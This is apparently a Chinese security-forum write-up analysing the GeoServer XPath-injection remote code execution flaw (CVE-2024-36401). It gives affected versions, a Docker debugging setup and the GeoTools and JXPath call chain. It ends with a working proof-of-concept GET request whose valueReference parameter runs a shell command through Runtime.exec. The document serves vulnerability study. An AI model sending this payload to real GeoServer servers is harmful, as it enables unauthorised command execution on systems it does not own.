本文首发于 t00ls
漏洞描述
GeoServer 是一个地理空间数据开源服务器软件,在调用GeoTools库 API 解析特性类型的属性/属性名称时,若将攻击者恶意构造的属性名传递给commons-jxpath组件并作为XPath表达式解析时,可造成任意代码执行。
影响范围
GeoServer < 2.23.6
2.24.0 <= GeoServer < 2.24.4
2.25.0 <= GeoServer < 2.25.2
环境构建
使用 vulhub 的 docker-compose.yml 构建,其中 5005 为远程调试端口
version: '3'
services:
web:
image: vulhub/geoserver:2.23.2
ports:
- "8080:8080"
- "5005:5005"
在上述 docker-compose.yml 目录下通过命令启动漏洞容器:
docker-compose up -d
将容器中 geoserver 应用目录复制到本地:
docker cp -a 容器ID:/usr/local/geoserver e:/geoserver-test
在 e:/geoserver-test/geoserver 目录右键以 IDEA project 打开,在 IDEA 中geoserver\webapps\geoserver\WEB-INF\lib 目录上右键 Add as Library... ,name为 lib,点击 OK。
在 IDEA 的运行配置里选择 Remote 调试,默认5005端口,选择 Use module classpath 为 geoserver 后点击 OK。

漏洞分析
官方的漏洞通告里列出了漏洞可能存在的位置,WFS的GetFeature、GetPropertyValue、WMS的GetMap、GetFeatureInfo、GetLegendGraphic、WPS的Execute等。
以 org.geoserver.wfs.GetPropertyValue 为例进行分析,这时需要找到可以触发进入该类的请求,通过官网文档找到如下请求方式。
GET请求:
http://example.com/geoserver/wfs?
service=wfs&
version=2.0.0&
request=GetPropertyValue&
typeNames=topp:states&
valueReference=the_geom
POST 请求:
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='the_geom'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
本次分析过程使用如下 GET 请求:
http://127.0.0.1:8080/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=t00lssss
在 org.geoserver.wfs.GetPropertyValue 中发现解析属性名称的 propertyNameNoIndexes.evaluate() 方法,在此处下断点:

跟进 evaluate() 方法,最终执行到 accessor.get(),可以看到 attPath 是可以被控制的参数值,即 valueReference 的值。

继续向下执行可以跟进到org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor.get() ,属于 GeoTools 的 CVE-2024-36404 漏洞通告中7 个可能触发xpath表达式注入的方法之一 :
org.geotools.appschema.util.XmlXpathUtilites.getXPathValues(NamespaceSupport, String, Document)
org.geotools.appschema.util.XmlXpathUtilites.countXPathNodes(NamespaceSupport, String, Document)
org.geotools.appschema.util.XmlXpathUtilites.getSingleXPathValue(NamespaceSupport, String, Document)
org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor.get(Object, String, Class<T\>)
org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor.set(Object, String, Object, Class)
org.geotools.data.complex.expression.MapPropertyAccessorFactory.new PropertyAccessor() {...}.get(Object, String, Class<T\>)
org.geotools.xsd.StreamingParser.StreamingParser(Configuration, InputStream, String)
可以看到 t00lssss 值被传递给 xpath 参数:

跟进 context.iteratePointers() 方法:

跟进 this.compileExpression() 方法,这里对 xpath 进行编译:

继续执行,然后进入 org.apache.commons.jxpath.ri.compiler.Expression类的iteratePointers方法:

此时,会根据返回的编译对象不同,进入相应的 compute 方法:

当前 valueReference 值为 t00lssss,进入了 org.apache.commons.jxpath.ri.compiler.LocationPath的 compute 方法

如果传入的 valueReference 值为调用 java 方法的表达式,则跳转到org.apache.commons.jxpath.ri.compiler.ExtensionFunction的 compute 方法,再调用 computeValue() 方法,解析表达式,造成任意代码执行,详见漏洞 POC。
漏洞 POC
使用下面POC 验证漏洞:
http://127.0.0.1:8080/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch /tmp/t00ls')



参考链接
- https://avd.aliyun.com/detail?id=AVD-2024-36401
- https://tttang.com/archive/1771/
- https://forum.butian.net/share/3129
评论